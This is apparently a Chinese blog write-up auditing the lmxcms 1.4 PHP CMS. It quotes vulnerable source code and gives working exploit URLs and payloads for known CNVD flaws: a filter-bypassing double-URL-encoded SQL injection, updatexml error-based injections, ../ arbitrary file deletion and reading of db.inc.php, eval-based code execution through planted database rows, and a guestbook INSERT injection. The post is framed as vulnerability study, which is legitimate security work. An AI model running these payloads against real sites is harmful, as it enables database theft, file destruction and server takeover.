CMS–lmxcms1.4代码审计
本文最后更新于 6 天前,其中的信息可能已经有所发展或是发生改变。

说在前面

首先感谢cyl_love师傅带我打awd同时给了我很大的帮助,借着他的笔记我也来审计一下此cms框架

环境搭建

框架下载地址

下载1.4版本即可,用小皮本地搭建即可

搭建好后访问/install按照步骤下载,配置,安装即可

CMS请求处理格式

前台入口文件

配置文件:/inc/config.inc.php

<?php 
/**
* 【梦想cms】 http://www.lmxcms.com
*
*   全站配置文件
*/
defined('LMXCMS') or exit();
//网站绝对根路径
define('ROOT_PATH',str_replace('\\','/',substr(dirname(__FILE__),0,-3)));
require ROOT_PATH.'inc/db.inc.php';
//系统相关
$config['template'] = ROOT_PATH.'template/'; //模板根路径
$config['page_list_num'] = 15; //后台信息列表每页显示 过多会影响后台速度
$config['template_edit'] = 0; //后台是否允许编辑模板文件 0:允许 1:不允许
$config['sc_group_num'] = 300; //后台生成html每组条数 过大会造成系统负担 建议300以内
$config['ad_extime'] = 5; //后台即将到期列表显示距离多少天到期的广告
$config['user_out_time'] = 30; //后台管理员登录超时时间
$config['login_num'] = 5; //后台登录错误最多次数
$config['login_out_time'] = 120; //单位:分钟 后台登录密码错误次数过多要间隔多长时间再次登录
$config['is_admin_log'] = 1; //是否开启后台管理员操作日志 1:开启 0:关闭
$config['search_isnull'] = 1; //前台搜索是否允许搜索空字符串 1:不允许 0:允许
$config['form_time'] = 10; //前台多少秒之内不允许再次提交自定义表单 搜索和留言板间隔时间在 “后台—系统管理—基本设置” 里面设置
$config['book_out_time'] = 3600; //前台留言时间范围内不允许过多留言
$config['book_out_time_num'] = 3; //前台留言时间范围内不允许1个ip超过多少条,和上面的时间范围配合

$config['is_tags_chinese'] = 0; //静态模式下tags地址是否启用中文路径 如果你的服务器不支持中文文件夹,则不要开启,否则tags页面会打不开
$config['system_coding'] = 'utf-8'; //操作系统编码,windows简体中文是gbk,linux一般是utf-8 ,如果开启了上面的tags中文路径,该编码必须正确填写,否则会出现路径乱码
$config['tags_page_num'] = 10; //tags列表页面默认每页显示 在增加信息的时候默认,可以在后台Tags管理中修改某一条为其他数值

$config['clickMax'] = array(10,100); //后台增加内容点击次数的随机范围
$config['search_time'] = 365; //前台搜索信息默认查询多少天之内信息 0:全部
$config['is_lmxcms_update'] = 1; //后台是否开启系统更新提示
$config['q_dyform_filepath'] = 'file/dy'; //自定义表单前台上传文件保存路径


//Ueditor编辑器配置项
$config['ueditor_dir'] = 'plug/ueditor/'; //编辑器路径
$config['ueditor_out_sub'] = array('snapscreen','wordimage','insertvideo','scrawl','help');//去掉编辑器中的某些按钮,这些是系统默认的,某些功能没有集成到本系统中

//前台和后台smarty配置
$config['smy_compile_dir'] = ROOT_PATH.'compile/'; //smarty编译文件路径
$config['smy_cache_dir'] = ROOT_PATH.'compile/cache/'; //smarty静态缓存目录

date_default_timezone_set('Asia/Shanghai');         //设置时区

?>

初始化文件:/inc/run.inc.php

<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
*   系统初始化
*/
error_reporting(E_ALL ^ E_NOTICE);
defined('LMXCMS') or exit();
$GLOBALS['public'] = require ROOT_PATH.'data/public/conf.php'; //载入全局变量
$version = require ROOT_PATH.'data/public/version.php'; //载入版本信息
$GLOBALS['public'] = array_merge($GLOBALS['public'],$version);
//判断入口类型获取模板路径
if(RUN_TYPE == 'index'){
  $config['curr_template'] = $config['template'].$GLOBALS['public']['default_temdir'].'/'; //前台模板路径
}else if(RUN_TYPE == 'extend'){
  $config['curr_template'] = ROOT_PATH.'extend/'.EXTEND_DIR.'/template/'; //扩展模板路径
  //载入当前扩展的私有函数文件
  $extend_fun_name = ROOT_PATH.'extend/'.EXTEND_DIR.'/function/common.php';
  if(is_file($extend_fun_name)) require $extend_fun_name;
}else{
  $config['curr_template'] = $config['template'].RUN_TYPE.'/'; //后台模板路径
}
//引入smarty入口文件
require ROOT_PATH.'plug/smarty/Smarty.class.php';
//引入用户自定义函数库
require ROOT_PATH.'function/userfun.php';
//引入公共函数库
require ROOT_PATH.'function/common.php';
//引入前台语言
require ROOT_PATH.'inc/language.inc.php';
//加载类文件函数
function requireClassName($classname){
  if($classname == 'Action' || $classname == 'Model'){
      $dir=ROOT_PATH.'class/';
  }else if(substr($classname,-6) == 'Action'){
      $dir=ROOT_PATH.'c/'.RUN_TYPE.'/';
  }else if(substr($classname,-5) == 'Model'){
      $dir=ROOT_PATH.'m/';
  }else if(substr($classname,-7) == 'AExtend'){
      $dir=ROOT_PATH.'extend/'.EXTEND_DIR.'/c/';
  }else if(substr($classname,-7) == 'MExtend'){
      $dir=ROOT_PATH.'extend/'.EXTEND_DIR.'/m/';
  }else{
      $dir=ROOT_PATH.'class/';
  }
  if(!file_exists($dir.$classname.'.class.php')){
      _404();
  }
  require $dir.$classname.'.class.php';
}
//把加载类文件函数注册到autoload中
spl_autoload_register('requireClassName');

//如果前台访问模式为伪静态,则解析url地址 暂时不支持扩展插件的伪静态,如果需要,请自己更改,因为涉及到一些url顺序问题,如果自己需要请根据下面的方法来修改,地址将变成 http://xxx.com/expend/项目文件夹名/m/a/?? 这样的地址,扩展插件的 运行类型是 extend ,判断下即可
if(RUN_TYPE == 'index' && $GLOBALS['public']['ishtml'] == 2 && !isset($_GET['m']) && !isset($_GET['a'])){
  $url = request_url();
$url = str_replace($GLOBALS['public']['weburl'],'/',$url);
  $urlArr = array_values(array_filter(explode('/',$url)));
  $_GET['m'] = $urlArr[0];
  $_GET['a'] = $urlArr[1];
  unset($urlArr[0],$urlArr[1]);
  $urlArr = array_values($urlArr);
  for($i=0;$i<count($urlArr);$i++){
      if($i%2==0) $_GET[$urlArr[$i]] = $urlArr[$i+1];
  }
}

//单入口
$extendEnt = RUN_TYPE == 'extend' ? 'AExtend' : 'Action'; //返回入口类型字符串
$m=isset($_GET['m']) ? ucfirst(strtolower($_GET['m'])) : 'Index';
if(!class_exists($m.$extendEnt)){ $m = 'Index'; }
eval('$action=new '.$m.$extendEnt.'();');
eval('$action->run();');

?>

在Action.class.php中

<?php 
/**
* 【梦想cms】 http://www.lmxcms.com
*
*   控制器基类(前后台使用)
*/
defined('LMXCMS') or exit();
class Action{
  protected $smarty;
  protected $config;
  protected function __construct(){
      $this->smarty = lmxSmarty::getSmarty();
      $this->assign_public_var();
  }
  public function run(){
      $a=isset($_GET['a']) ? $_GET['a'] : 'index';
      if(method_exists($this,$a)){
          eval('$this->'.$a.'();');
      }else{
          //如果方法不存在则执行index方法
          $this->index();
      }
  }
   
  //初始化变量,并注入全局变量
  private function assign_public_var(){
      if($GLOBALS['public']['global']){
          foreach($GLOBALS['public']['global'] as $k => $v){
              $GLOBALS['public']['global'][$k] = string::html_char(string::stripslashes($v));
          }
      }
      global $config;
      $this->config = $config;
      $this->config['is_search'] = $GLOBALS['public']['is_search'];
      $this->config['upload_file_pre'] = $GLOBALS['public']['upload_file_pre'];
      $this->config['upload_image_pre'] = $GLOBALS['public']['upload_image_pre'];
      $this->config['update_max_size'] = $GLOBALS['public']['update_max_size'];
      $this->config['q_upload_file_pre'] = $GLOBALS['public']['q_upload_file_pre'];
      $this->config['q_update_max_size'] = $GLOBALS['public']['q_update_max_size'];
      $GLOBALS['allclass'] = category::allclass();
      $GLOBALS['allmodule'] = category::allmodule();
      $this->smarty->assign('allmodule',$GLOBALS['allmodule']);
      $this->smarty->assign('currtime',time());
      $this->smarty->assign('backurl',rewrite::backurl());
      $this->smarty->assign('public',$GLOBALS['public']);
      $this->smarty->assign('webname',$GLOBALS['public']['webname']);
      $this->smarty->assign('weburl',$GLOBALS['public']['weburl']);
      $this->smarty->assign('webhttp',$_SERVER['SERVER_NAME']);
      $allclassdata = category::allclass();
      $this->smarty->assign('allclass',$allclassdata);
      $this->smarty->assign('version',$GLOBALS['public']['version']);
  }
}
?>

看到传参调用类名,方法名

?m=xx类名&a=xx方法

CNVD-2019-05674-前台的SQL注入

CNVD-2019-05674

漏洞描述

梦想cms以下简称“lmxcms”,是由“10年”(网名)开发的一套简单实用的网站管理系统(cms)。

LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。

c\index\TagsAction.class.php

<?php 
/**
* 【梦想cms】 http://www.lmxcms.com
*
*   Tags控制器
*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
  private $data;
  private $tagsModel = null;
  public function __construct() {
      parent::__construct();
      $data = p(2,1,1);
      $name = string::delHtml($data['name']);
      if(!$name) _404();
      $name = urldecode($name);
      if($this->tagsModel == null) $this->tagsModel = new TagsModel();
      $this->data = $this->tagsModel->getNameData($name);
      if(!$this->data) _404();
  }
   
  public function index(){
      $temModel = new parse($this->smarty,$this->config);
      echo $temModel->tags($this->data,$this->tagsModel);
  }
}
?>

$data: 用来存储标签相关的数据

调用了自定义函数p(),跟进到p函数

common.php

function p($type=1,$pe=false,$sql=false,$mysql=false){
  if($type == 1){
      $data = $_POST;
  }else if($type == 2){
      $data = $_GET;
  }else{
      $data = $type;
  }
  if($sql) filter_sql($data);
  if($mysql) mysql_retain($data);
  foreach($data as $k => $v){
      if(is_array($v)){
          $newdata[$k] = p($v,$pe,$sql,$mysql);
      }else{
          if($pe){
              $newdata[$k] = string::addslashes($v);
          }else{
              $newdata[$k] = trim($v);
          }
      }
  }
  return $newdata;
}

function filter_sql(array $data){
  foreach($data as $v){
      if(is_array($v)){
          filter_sql($v);
      }else{
          //转换小写
          $v = strtolower($v);
          if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
              rewrite::js_back('【'.$v.'】数据非法');
          }
      }
  }
}

过滤倒是严格一些,我们从

$name = string::delHtml($data['name']);
$name = urldecode($name);

跟进其中delHtml的作用是去除html标签

其中data存在传参可控,type=2的时候为GET请求方式,根据

$this->data = $this->tagsModel->getNameData($name);

我们追踪getNameData看处理name的函数

public function getNameData($name){
      $param['where'] = "name = '$name'";
      return parent::oneModel($param);
  }

接着追踪oneMode()

protected function oneModel($param){
      return parent::oneDB($this->tab['0'],$this->field,$param);
  }

追踪oneDB()

   protected function oneDB($tab,Array $field,Array $param){
      $field = implode(',',$field);
      $force = '';
      //强制进入某个索引
      if($param['force']) $force = ' force index('.$param['force'].')';
      if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
      $We = $this->where($param);
      $sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
      $result=$this->query($sql);
       
      echo $sql; //后面添加的方便看回显
       
      $data = mysql_fetch_assoc($result);
      return $data ? $data : array();
  }

最后执行了sql语句

我们先进行测试一下

?m=tags&name=a

成功,然后思考利用,存在二次注入

因为p函数对参数进行了filter_sql函数过滤,但是urldecode是在过滤之后进行的,所以我们可以利用url编码进行绕过,从而进行攻击

a' or updatexml(0,concat(0x7e,version()),1)--+

多次编码后

%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33

CNVD-2020-59469-后台—文件删除

CNVD-2020-59469

漏洞描述

梦想CMS(lmxcms)使用php语言和mysql数据库开发,并且采用了主流的MVC设计模式。

梦想CMS后台Ba***.cl***.php文件存在任意文件删除漏洞。攻击者可利用漏洞删除服务器任意文件。
//打包
rewrite::speed('正在打包数据,请稍等..........');
$zipname = ROOT_PATH.'file/back/'.$filename.'.zip';
file::unLink($zipname);
zip::toZip($setname,$zipname);
rewrite::speed('打包成功..........');
foreach($setname as $v){
file::unLink($v);

跟进unLink函数,发现重写了此函数

 public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}

有好多处引用,此处的只能删除zip和sql的,我们继续寻找

  //删除备份文件
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}

//批量删除备份文件
public function delmorebackdb(){
$filename = $_POST['filename'];
if($filename){
foreach($filename as $v){
$this->delOne($v);
}
addlog('批量删除数据库备份文件');
rewrite::succ('删除成功');
}else{
rewrite::js_back('请选择要删除的备份文件');
}
}
 private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}

此处$filename可控,然后他默认存放位置在file/back下,我们任意在根目录创建一个文件empty.txt

利用../../实现任意文件删除,如果要测试器默认目录可以在file/back创建

admin.php?m=backdb&a=delbackdb&filename=../../empty.txt

后台RCE漏洞

AcquisiAction.class.php

 //修改采集数据
public function showCjData(){
$cjData = $this->model->getOneCjData($this->lid);
$jdData = $this->model->getOne($this->id);
$fieldData = $GLOBALS['allfield'][$jdData['mid']];
$temdata = $this->model->caijiDataOne($_GET['cid']);
$this->smarty->assign('jdData',$jdData);
$this->smarty->assign('cjData',$cjData);
$fieldData = tool::arrV2K($fieldData,'fname');
eval('$data = '.$temdata['data'].';');
//格式化数据

关键

$temdata = $this->model->caijiDataOne($_GET['cid']);

eval('$data = '.$temdata['data'].';');

通过 $_GET['cid'] 获取传入的 cid 参数,并将其传递给 caijiDataOne() 方法

跟进到caijiDataOne方法

public function caijiDataOne($id){
$this->cj_data_tab();
$param['where'] = 'id='.$id;
return parent::oneModel($param);
}

构造sql语句,跟进到cj_data_tab()

public function cj_data_tab(){
$this->tab = array('cj_data');
}

看到查询的表为cj_data,我们通过向其中插入语句

INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`) VALUES (3, 4, 'phpinfo()', 33, 'a', 5);

/admin.php?m=Acquisi&a=showCjData&id=1&lid=4&cid=3

后台SQL注入漏洞

c\admin\BookAction.class.php

//回复留言
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));

id参数可控,进入到getReply方法

 //根据留言id获取全部回复
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}

一直跟进到selectDB

//查询
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}

可以看到此处传入的id就拼接位sql语句执行了

可以后面加上一句echo $sql看回显

/admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+

后台任意文件读取&写入

全局搜索file_get_contents

public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}

//获取文件内容
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}

查看getcon函数调用

$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');

看到我们对dir参数是可控的,在当前editfile目录访问读取

/admin.php?m=Template&a=editfile&dir=../inc//db.inc.php

后台文件上传漏洞

c/admin/TemplateAction.class.php

  //保存文件
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}

看看谁调用到了此方法

 //编辑和查看文件与图像
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}

其中file:put就是调用了put方法,接收两个参数,POST接收filename和data

我和cyl_love师傅都没测出来,可能是cms1.41才可以

前台留言SQL注入

审计BookAction.calss.php

public function check(){
$this->bookModel->ischeck();
addlog('审核留言【id:'.$_GET['id'].'】');
rewrite::succ();
}

跟进ischeck方法

//审核和取消审核
public function ischeck(){
$data['ischeck'] = $_GET['check'] ? 1 : 0;
$param['where'] = 'id='.(int)$_GET['id'];
parent::updateModel($data,$param);
}

这个是判断是否显示在前台的,如果我们要进行前台注入,那么就需要将其值修改为1就可以回显在前端了

 //前台增加留言
public function add($data){
$data['time'] = time();
return parent::addModel($data);
}

跟进addModel

 //增加数据并返回id
protected function addModel($data){
return parent::addDB($this->tab[0],$data);
}

跟进addDB

protected function addDB($tab,$data){
foreach($data as $key=>$v){
$field[]=$key;
$value[]="'$v'";
}
$field = implode(',',$field);
$value = implode(",",$value);
$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
$this->query($sql);
return mysql_insert_id();
}

但是只能是管理员后台才能看到

http://127.0.0.1:8088/index.php?m=Book&a=setBook

setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1

评论

  1. 博主
    Windows Chrome
    6 天前
    2025-10-12 16:31:08

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇